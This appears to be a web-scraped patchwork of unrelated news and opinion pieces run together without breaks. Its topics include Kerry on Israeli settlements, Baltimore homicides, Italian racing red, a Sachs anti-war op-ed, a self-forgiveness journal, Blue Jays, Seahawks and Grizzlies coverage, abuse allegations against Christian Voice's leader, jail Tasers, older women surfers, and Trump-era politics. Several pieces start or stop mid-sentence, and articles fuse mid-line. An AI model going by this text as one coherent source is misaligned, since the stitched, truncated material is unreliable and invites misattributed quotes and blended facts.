Using unusually blunt language at the Saban Forum, an annual symposium on Israel at the Brookings Institution, Kerry said he had been “pushing uphill” with the Israeli government because a majority of the ruling coalition does not support a two-state solution.
“There’s a basic choice that has to be made,” Kerry said, noting that since the Oslo agreement of 1993 the Jewish settler population in the West Bank has mushroomed from 110,000 to almost 400,000. “That is: Are there going to be continued settlements, is there going to be continued implementation of the settlement policy, or is there going to be a separation and the creation of two states?”
The Israelis have been fearful that President Obama in the waning days of his term will lay out binding parameters for two states — one Israeli, one Palestinian. The outline could be in the form of a United Nations resolution, a forceful option, or a detailed speech that could more easily be dismissed.
Prime Minister Benjamin Netanyahu’s coalition partners have failed to heed his admonition to not provoke Obama. Education Minister Naftali Bennett, for example, has declared that “the era of the Palestinian state is over,” and has pushed to annex 60 percent of the West Bank where Jewish settlers live.
Kerry said the Obama administration has not yet decided whether to spell out its vision, though he said the United States will continue to veto U.N. resolutions that it deems as reflecting anti-Israel bias. Kerry acknowledged that the Palestinians bear a share of the blame, including inciting violence and schools that foster hatred against Israelis.
In his remarks, Kerry effectively laid out some details that he said already have been discussed regarding how a Palestinian state could exist while Israel’s security is ensured. He said Israelis, Jordanians, Egyptians, Americans and Palestinians could work together to maintain border security using drones and electronically monitored fences. In the event of an incident, Israeli troops stationed nearby could swoop in on helicopters within six minutes.
“Nobody’s talking about a turnover today,” he said. “It’s going to take years of work to evolve. It has to happen with the assurance you’re not turning the West Bank into Gaza.”
Speaking about an hour after Netanyahu addressed the group by satellite, Kerry rebutted the Israeli prime minister’s argument that the heart of the stalemate is not Jewish settlements but the Palestinian refusal to recognize the Jewish state.
“Leaders in Israel are fond of saying settlements are not the cause of the conflict,” he said. “I am not contending they are. But I cannot accept the notion they don’t affect the peace process, that they aren’t a barrier to peace.”
He suggested the obstacle was deliberate in concept: “If you have a whole bunch of people who are strategically locating outposts and settlements in an area so that there will not be a contiguous Palestinian state, they are doing it to be an obstacle to peace.”
Kerry noted that later this week the Israeli parliament will vote on whether to legalize dozen of outposts in the West Bank that are considered illegal because they have been built on private Palestinian land. The Israeli high court has ordered that the military must evacuate and demolish a Jewish settlement called Amona in the West Bank, home to about 40 families, for just that reason.
Netanyahu has called the legislation needlessly provocative, but Defense Minister Avigdor Lieberman said Friday that Israel should wait until President-elect Donald Trump takes office to decide the illegal outposts’ fate.
In his remarks to the Saban Forum, Netanyahu said peace could be advanced through a regional effort using “our new relationships in the Arab world” to get the Palestinians to the table.
But Kerry said that was wishful thinking.
“There will be no separate peace between Israel and the Arab world,” he said. “That is a hard reality.”
William Booth in Jerusalem contributed to this report.
Read more:
Even Israel says this Jewish settlement is illegal. Now comes the showdown.
A new kind of terrorism in Israel
Today’s coverage from Post correspondents around the world
Like Washington Post World on Facebook and stay updated on foreign newsA series of shootings resulted in Baltimore's 320th homicide this year. Killings continue as the Maryland city becomes the nation’s murder capital, pulling ahead of New York City in raw numbers and Chicago in terms of homicides per capita.
A police investigation is under way into a triple shooting in the southern Baltimore neighborhood of Brooklyn, which left one man dead and two wounded on Sunday.
These shootings come after Baltimore saw its 319th homicide of 2017 last week, surpassing the 318 killings of 2016. That grisly number still does not match the 344 homicides Baltimore saw in 2015.
1 dead, 2 injured in triple shooting in Baltimore https://t.co/t57GkpCca9pic.twitter.com/xDJIXzIKOy — Sun Breaking News (@BaltSunBrk) December 3, 2017
In October, Baltimore surpassed New York City and Chicago as the nation's murder capital. The city has seen more murders this year than New York, despite having less than a tenth of the population. As of November 26, New York City - with 8.5 million inhabitants - had 257 murders, according to NYPD data. Baltimore has a population of less than 620,000.
While Chicago is often deemed the most dangerous city in the US, it has had 607 murders in 2017, despite having a population of 2.7 million, more than four times that of Baltimore.
Homicides continue to plague Baltimore despite efforts to broker a ceasefire by activists over the summer.
“I hope that everyone that loves Baltimore realizes that everyone has to do soul-searching for us to be better and not have this conversation again next year, so less families are suffering this trauma,” city councilman Brandon Scott, chair of the public safety committee, said in November when the murder count hit 300. “No one and no neighborhood is exempt.”
Baltimore’s murder rate has skyrocketed over the past three years, following the April 2015 riots over the death of an African-American man in police custody. Prior to 2015, the death toll had not hit 300 in one year since the record 353 killings in 1993.
In one of the high profile cases that remains unresolved, a Baltimore PD detective was killed on November 15. Detective Sean Suiter was visiting the scene of a triple homicide in West Baltimore when he was killed with a bullet to the head from his own gun after approaching a suspicious man in a vacant lot.
It was later revealed that Suiters’s death came one day before he was due to testify about police corruption. Rumors have swirled about the possibility he was killed by another officer, though police have denied the possibility. Last week the FBI announced it would take over the investigation of the case.A Colorful History of Racing Hues: Rosso Corsa Italiano (4 of 4)
Photography by Otis Blank and Andrew Schneider for Petrolicious
We’ve been taking a look at the history of racing colors over the past few weeks. (Click here to read the introduction, click here to read about British Racing Green origins, and click here to read about Germany’s silver and white.)
Rosso Corsa, or Racing Red, has been the color of choice for what seems like every Ferrari to come out of Modena since the brand’s creation. The striking vermilion hue has also graced Alfas and Maseratis, as well as Ducatis and even the odd Piaggio. While it is the color many of us instinctively imagine when we picture an Italian sports car, few of us know where the color came from. Well sit back and relax friend, you’re in for quite a story… The year is 1907 and the automobile, or “horseless carriage,” is a mere 20 years old. These conveyances are still toys for the rich and hardly reliable. Wheels are still made from wood, controls are arcane and eccentric in the best case and there are few paved roads on which to exploit their speed. But adventurers and futurists of the day saw automobiles’ potential and sought to showcase the nascent revolution these machines had awakened.
“…We ask this question of car manufacturers in France and abroad: Is there anyone who will undertake to travel this summer from Paris to Peking by automobile? Whoever he is, this tough and daring man, whose gallant car will have a dozen nations watching its progress, he will certainly deserve to have his name spoken as a byword in the four quarters of the earth…” So read the January 31st 1907 edition of the Paris newspaper Le Matin. The publishers were issuing a challenge to any and all willing to undertake the 9,317-mile journey from Eastern China to Western Europe. Make no mistake; attempting to drive a contemporary vehicle from Peking to Paris in 1907 was as large and ambitious an undertaking as the moon landing.
Forty teams entered into the contest, but only five actually shipped their vehicles to Peking and were prepared to start. Three French entrants and a Dutch team arrived in China along with the focus of our story, an Italian team consisting of Italian prince Scipione Borghese, his mechanic/chauffeur Ettore Guizzardi and journalist Luigi Barzini, Sr.
There were no actual rules for the race, and the only prize offered by Le |
to end the military functions of the CIA, yet Trump has recently expanded the CIA’s war-making powers by giving the agency the authority to target drone strikes without Pentagon approval.
Second, it is vital for Congress to reestablish decision-making over war and peace. That is its constitutional role, indeed perhaps its most important constitutional role as a bulwark of democratic government. Yet Congress has almost completely abandoned this responsibility. When Trump brandishes the sword toward North Korea, or drops bombs on Afghanistan, Iraq, Syria, and Yemen, Congress is mute, neither investigating nor granting nor revoking any legislative authority for such actions. This is Congress’s greatest dereliction of duty. Congress needs to wake up before Trump launches an impetuous and potentially calamitous war against nuclear-armed North Korea.
Third, it is essential to break the secrecy over US foreign policy making. Most urgently, we need an inquest into America’s involvement in Syria in order for the public to understand how we arrived at the current morass. Since Congress is unlikely to undertake this, and since the executive branch would of course never do so, the responsibility lies with civil society, especially academia and other policy experts, to coalesce around an information gathering and reporting function.
Fourth, we need urgently to return to global diplomacy within the UN Security Council. Yes, Russia will veto many US proposals, and vice versa. But it is precisely the success in forging diplomatic agreements, such as with the Iran nuclear deal and the Paris Climate Agreement, that will enable our survival.
We are at the 100th anniversary of World War I, and countless historians have noted the similarities of that time and our own. On the eve of World War I, the world economy was booming; technology and science were ascendant; and world war seemed unthinkable. Yet the very dynamism of technology and the world economy was provoking fear and loathing among the major powers. The competing empires each came to view their positions as precarious relative to the others, and to believe that a war could be a resolution to those fears.
The main difference is of course the incomparably greater destructive potential today. As JFK said in his inaugural address a half-century ago, “The world is very different now. For man holds in his mortal hands the power to abolish all forms of human poverty and all forms of human life.”
America has developed a level of wealth, productivity, and technological know-how utterly unimaginable in the past. Yet we put everything at risk through our wanton addiction to war. If we instead used our vast knowledge, economic might, and technological excellence to help cure diseases, end poverty, protect the environment, and ensure global food security, America would profoundly inspire other nations and do much to secure a new era of global peace.
Jeffrey D. Sachs is University Professor and director of the Center for Sustainable Development at Columbia University, and author of “The Age of Sustainable Development.”5. The ruthlessness/mercilessness in instant destruction
6. The singlemindedness of having one singular goal of destruction
Specific points of fear I identified in relation to watching an episode of 'Curiosity' on what happens on a cellular level when a virus attacks the human body:5. The ruthlessness/mercilessness in instant destruction6. The singlemindedness of having one singular goal of destructionI forgive myself for accepting and allowing myself to react in fear when and as I see the entities that make up the human immune system instantly destroy a virus.I forgive myself for accepting and allowing myself to react in fear due to the realisation that with every lifeform there is another lifeform that is able to crush/destroy the first lifeform in a matter of seconds.I forgive myself for accepting and allowing myself to reactin fear due to the realisatio that I can be destroyed/crushed in a matter of seconds and that physical strength is a relative term - where, even if I perceive my human physical body to be quite a strong organism - there are conditions under which it will die almost instantly.I forgive myself for accepting and allowing myself to fear vulnerability and fragility.I forgive myself for accepting and allowing myself to fear vulnerability and fragility as I connect both words with the experience of pain - where, if I feel vulnerable or fragile, I immediately expect the possibility of pain, and within that expectation and possibility, immediately bring the experience of pain here - and thus - give myself a feedback system of 'vulnerable' or 'fragile' equals pain - teaching myself that vulnerability and fragility are two things that need to be avoided - instead of realising that they are physical facts that I can currently not change - and thus, since I am aware of the vulnerability and fragility and that I can do nothing about it, I might as well embrace it - as there is no practical value in being in fear of getting hurt because of feeling vulnerable or fragile - it's not going to make any difference to my physical state in terms of suddenly becoming stronger or less fragile.I forgive myself for accepting and allowing myself to react in fear when I saw a virus carrying out each action as a step within a thought-out plan with the singular goal of destroying the human physical body.I forgive myself for accepting and allowing myself to fear beings with a singlemindedness of having one singular goal of causing destruction or doing harm.I forgive myself for not accepting and allowing myself to realise that I programmed this fear within myself through watching cartoons and movies as a child - where the 'bad guy' always had such a mind-set with the only goal of being 'evil' and where every action was always carefully planned and thought-out to serve in his/her masterplan of inflicting harm unto others.I forgive myself for accepting and allowing myself to categorise people into 'good guys' and 'bad guys' - where the 'good guys' always have 'good intentions' and the 'bad guys' only have bad intentions - and I forgive myself for accepting and allowing myself to connect a positive, hopeful, excited and comforting feeling to someone I have categorised as a 'good guy' and connect an experience of fear and resistance to someone I have categorised as a bad guy.I forgive myself for accepting and allowing myself to try and see the world/people in black and white as how human beings were presented in cartoons and movies when I was a child - as either being 'good' or being 'evil' - instead of seeing /realising that every kind of deception exists in every single person - where with some beings some types are more prominent and more obvious than with others and where some can for instance hide any deception exceptionally well - yet, in essence each one is equally evil as each one participates in the same self-dishonesties that always include some form of harm and disregard to life.Ross Atkins announced Monday that barring any unforeseen circumstances the Toronto Blue Jays will qualify pending free agents Jose Bautista and Edwin Encarnacion.
The Blue Jays general manager followed that up Tuesday by saying he will attempt to prevent emotions from being involved in the negotiation process despite the fact that Bautista and Encarnacion are fan favourites.
“In my view and our view is we try to stay away from the emotional pitfalls and try to focus on making good, sound business decisions that will help us sustain championship-winning teams because making emotional decisions is typically not going to end well,” Atkins told Jeff Blair and Stephen Brunt on Sportsnet 590 The Fan.
Bautista and Encarnacion, along with fellow pending free agent Brett Cecil, are the longest serving Blue Jays and the two sluggers are seeking big paydays.
The Blue Jays had the oldest team in baseball in 2016 and were primarily a right-handed batting team. Ideally the Blue Jays would like to get a bit younger and add a couple left-handed bats.
Bautista and Encarnacion happen to be right-handed bats and both are well into their 30s. Atkins, however, said that wouldn’t factor into the team’s decision. How much money each player asks for clearly will though.
“Ultimately it’s not about right-handed, left-handed, young, old, fast, slow, it’s about what type of production we’re going to get and what is the acquisition cost,” Atkins explained.
Bautista, 36, struggled at times in 2016 hitting.234/.366/.452/.817 and adding 22 home runs, which was his lowest total in seven years. Encarnacion, 33, equaled a career high with 42 home runs and tied David Ortiz for the American League lead in RBI with 127.Before Jimmy Graham caught two touchdown passes Sunday, including the game-winner against the Houston Texans, an NFL Network report suggested that the Seattle Seahawks could trade their Pro Bowl tight end before Tuesday's deadline in order to add a left tackle.
The team quickly refuted it. General manager John Schneider shot the report down in his pregame radio interview with 710 ESPN Seattle and Carroll told the NFL Network's Mike Silver that it's not happening.
Carroll sought out Graham to tell him the same thing.
"When I heard that, too, I went straight to Jimmy, I ran to him to make sure that it wasn't bothering him," Carroll said in his Monday morning radio show on 710 ESPN Seattle. "He was aware of it, in my observation. So we just talked about it eye to eye, the reality and the truth of it and that there was nothing there and somebody just made that up. By the time we got to game time, I checked back in with him a couple times just to make sure he was OK, because we need his spirit going in the right direction. He came around fine. He was fine. But he was -- I don't know, you'd have to ask him. I think it bothered him."
Seahawks head coach Pete Carroll on the recent Jimmy Graham trade rumors: "I think it bothered him." AP Photo/Ted S. Warren
Trading Graham seemed unlikely for a few reasons. He's making $7.9 million this season, which would be a lot of money for a new team to take on. There would also be a question of whether the Seahawks could get the right value in return in the form of a player and/or draft-pick compensation. It would have to be enough to offset what Seattle's offense is getting from Graham, which has been quite a bit of late.
Graham has four touchdowns over the past three games after catching two on Sunday. His four receptions for 39 yards all came in the second half after he wasn't targeted over the first two quarters.
"I don't care when he catches the ball. I just care that he does," Carroll said. "He made some great plays and came through in great fashion and played a good football game. There was no design to that or anything; it just happened that way."
More from Carroll on 710 ESPN Seattle:
What you need to know in the NFL
• Statistics
• Scoreboard
• 2017 schedule, results
• Standings
He said the decision to not spike the ball before Graham's touchdown on the final drive was built in. Russell Wilson's 19-yard completion to Tyler Lockett put Seattle at Houston's 18-yard line with a fresh set of downs but only 40 seconds on the clock and no timeouts. Spiking the ball would have stopped the clock and left Seattle with three shots at the end zone, but the plan all along was to keep going. Why? "Because we can, because we're really good at it," Carroll said. "The time difference that it takes to go'spike, spike spike' or 'whatever, whatever, whatever' we're calling is the same one word. You've got to call it and they've got to go execute it, so we can get a play off and have a shot. So we forgo that for the most part. There's only rare instances where you'll see us do that. We're just going to be on the attack, and we're so clear about it and we're so efficient at it, everyone of those guys will tell you it was like no big deal."
Every interception has a story, and based on the one that Carroll told about Wilson's interception on Seattle's second-to-last drive -- when he was trying to hit Paul Richardson near the goal line -- the quarterback wasn't at fault. "I know that they did talk about what happened on the route," Carroll said. "We could have -- we were supposed to come underneath right there and he was anticipating that Paul would get underneath the cornerback and he didn't. So it all happens on time and the guy steals the ball away. Russ wasn't going to throw an interception in that game. He just wasn't. That just happened because we made a little error there."
Carroll said what you'd expect him to say about Seattle's struggling running game -- that the Seahawks won't give up on trying to get it going and that he's confident they will. Seattle rushed for only 33 yards Sunday, and 30 of them were on Wilson scrambles. Thomas Rawls, Eddie Lacy and J.D. McKissic combined for all of five yards on 16 carries. "We'll be all right. I'm not worried about it," Carroll said. "We're going to go to work on it. It's not insurmountable or anything like that, but it is what it is. We've got our guys, so we have to just keep working and we've got to get rid of the errors. That's really disappointing. We had a couple bad choices technique-wise for the situation, and that's inexperience, so we can get better at that stuff."Signup to receive a daily roundup of the top LGBT+ news stories from around the world
The wife of Christian Voice leader Stephen Green says he beat her until she bled and does not believe in marital rape.
Caroline Green, who was married to the anti-gay Christian extremist for 26 years, says she has come forward now because “the people who support him financially and morally should know what he is really like”.
Mr Green, 60, who was recently interviewed by the BBC over his views on Elton John becoming a father, has approved of the death penalty for gays and lesbians.
He was asked by the BBC for his views on the singer’s parenting skills but Mrs Green claims that he had attacked his own children with belts and broomsticks and punished them harshly for minor transgressions.
Mr Green leads Christian Voice, which is a small protest group of around 300 members. The group rails against violence, abortion, immorality and drugs, although it reserves a special venom for homosexuality.
But Mrs Green, 59, said that those who donate money to Christian Voice should know the “truth” about about her ex-husband.
She told the Mail on Sunday that he had beaten her and her children, “brainwashed” them and forced them to live in a dilapidated caravan in remote Wales to protect them from the “evil” of urban life.
Mrs Green described the incident which prompted her to leave him, recalling how he made a list of her failings as a wife and then beat her until she bled with a piece of wood.
She said: “He even framed our marriage vows — he always put particular emphasis on my promise to obey him — and hung them over our bed. He believed there was no such thing as marital rape and for years I’d been reluctant to have sex with him, but he said it was my duty and was angry if I refused him.
“But the beating was the last straw. It convinced me I had to divorce him.”
She also said that he had beaten their eldest and middle sons with belts and broomsticks.
She added: “It was almost like living in a cult. We were all subjugated to his will and cowed by him. Over the years he belittled us and made us feel worthless.
“Whenever I watch him on TV spouting verses from the Bible, or see him quoted in a newspaper, it turns my stomach. I’ve decided to tell the truth about him now because the people who support him financially and morally should know what he is really like.”
Mrs Green now lives in a small home in west Wales with one of her sons and her god-daughter Emily, who used to work for Mr Green.
He has since married a Kenyan woman 25 years his junior and declined to comment to the Mail on Sunday.Santa Clara County’s sheriff is pushing to acquire 40 Tasers for a pilot program that would add the electric submission devices to the tools available for use on uncooperative inmates at county jails.
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Court rules that the Mueller appointment is valid But Sheriff Laurie Smith’s $45,000 pitch caused some friction at a recent budget meeting, where a supervisor said it was a “non-starter” to move forward with such a plan when the sheriff doesn’t have a use policy in place.
“I can’t tell you if I am supportive of them being used if I don’t know when, where, why and how and by whom and under what circumstances they would be used,” said Supervisor Joe Simitian at at the meeting.
That’s a difference that will need to be ironed out before the matter returns to the board for final budget consideration next month — while Simitian wants policy before getting the Tasers, Smith says they need to know what they’re working with before drafting policy.
“We want to be familiar with the device based on our own experiences,” said sheriff’s spokesman Sgt. Richard Glennon. “The hang up here is whether the policy needs to be written before we are even able to acquire the devices.”
He said they’ve solicited 20 policies from other agencies but need to test various aspects such as how effective a Taser is on the uniforms worn by Santa Clara County inmates.
Glennon said that the idea is to have the Tasers for testing in a controlled environment before writing the policy, after which the devices would be put into use. He added that crafting a policy is not an overnight process, and involves discussion with labor unions.
Sheriff Smith said that while Tasers could be used by patrol deputies, she specifically pointed to incidents that have happened within correctional facilities.
“Last year there have been a total of 528 assaults in the jail,” she said, “and what is really important is that 33 involved attacks on the staff by inmates where a Taser could have been really, really valuable.”
Taser use among patrol officers is very common, said jails consultant Jeffrey Schwartz, who has been working with the sheriff’s office on its use-of-force policy. And in jails they are “less common but not rare.”
He said they have proven to be effective alternatives to physically wrestling an uncooperative inmate into submission.
“If I had a brother who was involved in a physical altercation in jail, would I rather that a group of deputies punched and wrestled him, or used pepper spray or a Taser?” he hypothesised. “I’d rather the Taser or pepper spray, and if my brother had asthma I’d go with the Taser.”
However, he said it’s not a tool to be taken lightly.
“I can’t speak to whether the department should have a policy first or budget first,” he said. “But they will need a very detailed policy in place before it’s actually given to officers in jails and on the streets.”
Martin Horn, a professor at the John Jay College of Criminal Justice in New York City, said that while Tasers in jails is still the exception rather than the norm, they have recently become more viable after getting a bad reputation in the 1980s and 90s.
“They were being abused,” he said. “There was an iconic case out of New York in which a precinct used them in a way that was Taser torture.”
But now, the devices have evolved with built-in video cameras and computer chips that record when they are used, how often and for how long.
But Horn said a “well-thought-out use of force policy in place before distribution is imperative.”
“There are major liability issues,” he added.
Simitian also alluded to such a possibility, that the county could be on the hook in the event of “another tragic incident” in the jails.
Sheriff Smith said it would not be reasonable to expect a policy to be drafted before the budget is finalized next month, and Supervisor Mike Wasserman proposed a middle ground: Funds could be approved on condition of a policy be in place and brought before the board before Tasers are actually deployed.
“I don’t think this is rocket science,” Wasserman said.
Ron Hansen of the People Acting in Community Together advocacy group said he’s opposed to Tasers in jails because it doesn’t address the underlying need to alter the atmosphere between guards and inmates within the facilities.
“The commitment is to change from a warrior to a guardian culture,” he said. “Every decision should be viewed from the lens of respect and humanity on both sides and on that, inclusion of Tasers is not consistent with this idea.”
But Schwartz said that while he understood the sentiment, he didn’t think it was accurate.
“It’s true that culture has to change, and the department is working very hard on that,” he said. “But I believe the more you can make officers feel safe, and comfortable, the less those officers are inclined to take extraordinary and maybe poorly considered course of action.”'Granny Grommets' hit the waves, showing age no barrier to surfing fun
Updated
The Granny Grommets of Albany are riding a silver wave through the Western Australian coastal town's sometimes subdued reputation.
"God's waiting room? Well, it's a very nice waiting room, I can tell you," Granny Grommet Bev Voss said.
"If that's what out-of-towners say, I don't care because it's a lot of fun."
The Granny Grommets is a group of over-50s women from the Great Southern region who meet once a week at Middleton Beach to go surfing, body boarding and swimming — most having never tried surfing before joining the Grommets.
New members must follow three simple rules: be over 50 years of age, know basic surf lifesaving skills, and, most importantly, be willing to laugh.
"When I first moved to Albany, I had five kids and they were always going out surfing, coming home in wetsuits, making a mess in the laundry," Ms Voss said after a chilly early morning surf.
"Now it's me doing that."
Origins of a surfing experience
The Grommets started about 17 years ago as part of an over-50s recreational group.
In the early days, some thought the women were too old to be out surfing.
"When I first joined, my daughter told me not to use my real name because it would be too embarrassing, but she's gotten over that now," Ms Voss said.
"I have four grandkids, I think between all the Grommets, there could be hundreds.
"On the school holidays they come down, they seem to like mixing with us, they used to think it's a bit odd, and I guess they still do."
Since the group started, numbers have swelled to nearly 70 members, dozens showing up every Friday morning — rain, hail or shine — with religious fervour.
The Grommets' training, provided by local surf instructor Tony Harrison, equips them for all conditions.
They know how to spot rips and make it to shore on their own if they get caught in one.
"They are there every Friday," Mr Harrison said.
"There will be no other surfers out on the west coast, but these ladies will be there catching waves, hooting and hollering when they get one and that's the best part.
"Seeing them happy and enjoying life."
From farming to surfing
Many of the women lived and worked on nearby inland farms before retirement, some having never been in the ocean until joining the Granny Grommets.
"I lived on a farm in Katanning and when I came down here to retire the surfing was going on and I loved it so much," member Nan Anderson said.
"I've come every week ever since. I've found there's nobody who can catch a wave and not smile — everybody laughs."
Ms Anderson said the surfing experience was one which had proven infectious among fellow senior citizens.
"If you want to know where the Granny Grommets are, you just listen," Ms Anderson said.
"The oldest Grommet is 83 years old, and she's still surfing. Some people can't wait until they're 50 so they can join."
Surfing grannies immortalised in print
The Granny Grommets have made such an impression in Albany, they've become the subject of a children's picture book.
Albany author Dianne Wolfer wrote "Granny Grommet and Me", after hearing laughter coming from the waves.
"I was walking my dog along the beach one morning, and I heard these women in the ocean laughing and having fun," Ms Wolfer said.
"I wanted to capture some of their joyfulness in a book for children as the Grommets are not what you expect, and kids love that.
"They are not sitting quietly at home, there's something brave and fabulous about what they do."
Topics: human-interest, health, older-people, community-and-society, sport, surfing, offbeat, albany-6330
First postedBefore he proved to be a perfect fit in Memphis, Jeff Green was reminded of his proper place.
So when Mike Conley welcomed Green to Memphis last month after one of the most impactful trades of the season, the initial greeting didn't involve a handshake or a hug. Instead, it was more of a heckle.
Albeit, a playful yet humbling one.
Green arrived for a team function the day after Ohio State defeated Oregon in the college football national championship game. Before Conley became one of the league's most underrated point guard magicians for the Grizzlies, he was a college hoops catalyst for the Buckeyes' 2007 Final Four team.
To celebrate and boast, Conley reached deep into his closet to throw on his old Ohio State game jersey to rep his beloved school in the aftermath of the championship. On this particular day, Green just happened to be the right guy who showed up at the wrong time.
"The first day he came, he walks over and I'm in my college Conley jersey," Conley said of Green, whose Georgetown team lost to Ohio State in the 2007 Final Four before the Buckeyes fell to Florida in the title game. "I act like I'm dusting it off in front of him. Then I said, 'I hadn't worn this since the last time I beat you.' Then I shake his hand and said, 'Welcome to Memphis. Glad to have you.'"
Since then, Green has fit the Grizzlies with the same tailor-made precision as Conley's authentic gear, giving Memphis the most formidable look in the NBA. Having grinded out two more victories this week in ruggedly familiar fashion over Portland and the L.A. Clippers to open the post All-Star break stretch run, the Grizzlies improved to a conference-best 15-3 since acquiring Green on Jan. 12 from Boston.
Editor's Picks Markazi: Chris Paul shines before it all slips away Thirty minutes after a painful loss had ended, Chris Paul couldn't take his eyes off the tablet he was holding, which was replaying the final seconds of the game and his agonizing turnover, Arash Markazi writes.
The addition of the versatile and athletic wing has recalibrated Memphis for upward mobility. In the past six weeks, the Grizzlies (41-14) have climbed two spots in the Western Conference standings and sliced in half a six-game deficit to pull within three games of front-running Golden State.
Securing the No. 1 playoff seed in the West was thought to be as automatic for the Warriors as an open 3-pointer in transition for the Splash Brothers. But that's no longer a forgone conclusion with the Grizzlies lurking despite closing with the toughest remaining schedule in the league. The combination of Memphis' surge and Steph Curry's nagging ankle injury that has slightly hobbled the Warriors has given the Grizzlies a legitimate shot to shake things up with 27 games left.
"I think we've got a chance," center Marc Gasol said. "I always take that approach. It doesn't matter the cards we get dealt with; I always feel like it's the best hand that I've got and I'm going to go with it. It doesn't matter who it is or when it is; I always feel like we have a chance."
When Gasol made that comment, he wasn't talking about simply catching Golden State for the top spot in the West. That reference had everything to do with pursuing the much loftier goal of finally punctuating the city's annual Memphis In May festivities with an NBA championship parade in June.
After reaching the conference finals two years ago and getting bounced in the first round last season with the same core, it's no wonder many of the Grizzlies players and coaches speak in poker analogies these days when referring to Memphis' quest for the ultimate breakthrough. It's because coach Dave Joerger believes Green gives the team the sort of wild card that's been lacking the past few years. And that's a key reason why Memphis didn't hesitate to make its move more than a month ago.
"I think what you're seeing coming out of the break is it's feast or famine," Joerger said of the jockeying in the West, where all contenders aside from Golden State and San Antonio have made significant trades. "There are so many teams that are all-in. You either have to be all-in or... I want to say something negative. But it's so competitive. If you're going to chase it, you need to go for it."
Because the Grizzlies solidified their footing a month ago, they're on more solid ground now.
While most teams frantically approached last Thursday's trade deadline that produced a record number of transactions, Joerger pushed his team through practice with the comfort of a significant head start on working through adjustments that come with the midseason addition of a key player.
"We put it all up on the board, all of the players that were going all over the place as soon as it happened," Joerger said of the 39 players involved in trades on deadline day. "We had practice at noon, and [two hours later] we came back into the office and it was like, 'Holy cow.' We talked about when we did it, we didn't want to have guys asking and wondering around trade deadline what to think. We have a real good chemistry right now, in a way, because we didn't have to deal with that."
That was evident earlier this week in a 98-92 win at Portland.
While the Blazers were trying to get Arron Afflalo acclimated in his first game after being acquired from Denver three days earlier, Memphis was already 17 games into establishing a comfort zone with Green. He was one of five starters to score in double figures for the Grizzlies, who took advantage of LaMarcus Aldridge's injury absence to outscore Portland 34-15 in the fourth and rally from a 13-point deficit.
Green played only 44 seconds in the fourth quarter against the Blazers, with Joerger opting to give Tony Allen and Kosta Koufos the bulk of the work alongside Conley, Gasol and Zach Randolph. The next night in Los Angeles, Green was part of pivotal lineup that took control of the game. He combined with Conley for 34 points, 9 rebounds, 9 assists and 3 steals in a 90-87 win against the Clippers.
"It's easy to get comfortable when you've got go-to guys in Z-Bo [Randolph], Marc and Mike," said Green, the fifth overall pick in 2007 who spent his first two seasons in Oklahoma City. "All I have to do is continue to be aggressive. And when I do, it opens the floors. It shows that they have confidence in what I can do. When it doubt, I'm feeding the big guys, feeding the beast and playing off them."
The Grizzlies are 12-2 since Green replaced Allen as a starter at small forward. At 6-foot-9 with the ability to drive, shoot from 3-point range, post up and defend anyone from shooting guards to power forwards, Green gives Memphis' lineup flexibility. The irony is that Memphis was expected to get a major boost on offense from Green, who is averaging 15.8 points and 4.2 rebounds this season. But his scoring is down nearly five points from his production in Boston and he's shooting just 40.7 percent with the Grizzlies.
"When he struggles, it's because he's probably thinking, 'Is this my shot? Should I take this at this time? I'm playing with Marc, I'm playing with Zach or should I put in?'" Joerger said of Green. "Nobody can think and shoot at the same time. Anytime you play with one dominant post man, that's good. But we have two and we still don't want him to think to always defer. We want him to be aggressive."
Green admits it's been a bit of a struggle, but he's starting to find a groove amid the Grizzlies' trademark grit and grind and has scored in double figures in eight consecutive games.
"Normally, when you get traded you spend the first few weeks trying not to step on people's toes," Green said. "You want to go in and be passive. You're not looking for your shot. But [Joerger] wanted me to come in and be aggressive and play the way I was playing in Boston. It showed he was watching the way I played in Boston. He has confidence in me to make the right plays."
The biggest impact from the trade actually resonates on the other end of the court, where the Grizzlies allow the fewest points in the league. With Green, Memphis has restored its defense to the second-best overall efficiency rating behind Charlotte after spending the first two months in the middle of the pack.
The hope is that Memphis will enter the playoffs with a different dynamic than in previous seasons. Conley said one of the main reasons Memphis struggled in a seven-game series loss in the first round to Oklahoma City last year was because Memphis lacked the personnel to adjust when OKC used a small lineup with Kevin Durant at power forward.
Theoretically, Green addresses that issue.
When the Spurs swept Memphis in the conference finals in 2013, the Grizzlies lacked home-court advantage, perimeter depth and shooting. Should the current standings hold, Memphis would open with home court in a first-round matchup with the Spurs. And in addition to Green, the Grizzlies have since added Courtney Lee, Beno Udrih and Vince Carter to add backcourt balance to the frontcourt bulk.
"We always had trouble with teams that go small in the playoffs," Conley said. "And with a guy like that, you can throw Jeff in there and put him at [power forward], we can match up with guys and still play through Marc or Z-Bo. We have more flexibility to move stuff around and match up with anyone."
The record speaks for itself this season.
Memphis is 13-5 against the seven other teams currently in playoff position in the West, including a 105-98 win over Golden State in their lone meeting so far in December. The Warriors are 12-4 against West teams positioned for the postseason, with two games left against Memphis. Much like Green, the Grizzlies are far more deliberate than dominant. No player's individual numbers jump off the page, but their collective onslaught is relentless.
Fittingly, their win over the Clippers ended with Conley swiping Chris Paul for the game-clinching steal. Hours earlier, Clippers coach Doc Rivers said no team in the league knows who they are and plays to their identity as consistently as the Grizzlies.
That knowledge has only expanded over the past month.
"I'm trying to be part of something where guys are going to play together, guys are going to fight to the end for each other to win a championship," Green said. "I fit into what they do. They were already a championship-level team before I got here. I just look at it as a chance to come in and add my skill set to what they already have."The view from the White House is a lonely one as the business community abandons Trump 6:27 PM ET Wed, 16 Aug 2017 | 01:00
Donald Trump's White House is on fire — and not in a good way.
The leading figures in American business are embarrassed to be associated with the president, even though he has promised to cut their taxes and regulations.
Now his "Manufacturing Council" and "Strategic and Policy Forum" have been disbanded. That those bodies weren't doing much to begin with mirrors the Potemkin quality of the Trump White House itself.
On-camera events, like the one aides failed to pull off on infrastructure on Tuesday, seek to create the illusion of progress on a policy agenda. But here's where the White House really stands, now that corporate America is bolting for the door:
Nearly seven months after Inauguration Day the administration still hasn't proposed an infrastructure plan.
Neither has the administration proposed a plan for tax reform, the next big issue on the horizon.
Nor has the administration ever proposed its own health-care plan to replace Obamacare. Trump keeps hectoring Republican congressional leaders to continue trying after their efforts failed, even though they want to move on.California Senator Dianne Feinstein said that a Senate committee's investigation looking into Russia's influence in the U.S. election was also exploring a potential "obstruction of justice" charge against President Donald Trump, the Democrat told NBC on Sunday.
Feinstein, who is the ranking member of the Senate Judiciary Committee, said in an appearance on NBC's "Meet the Press" that group was "putting together of a case of obstruction of justice."
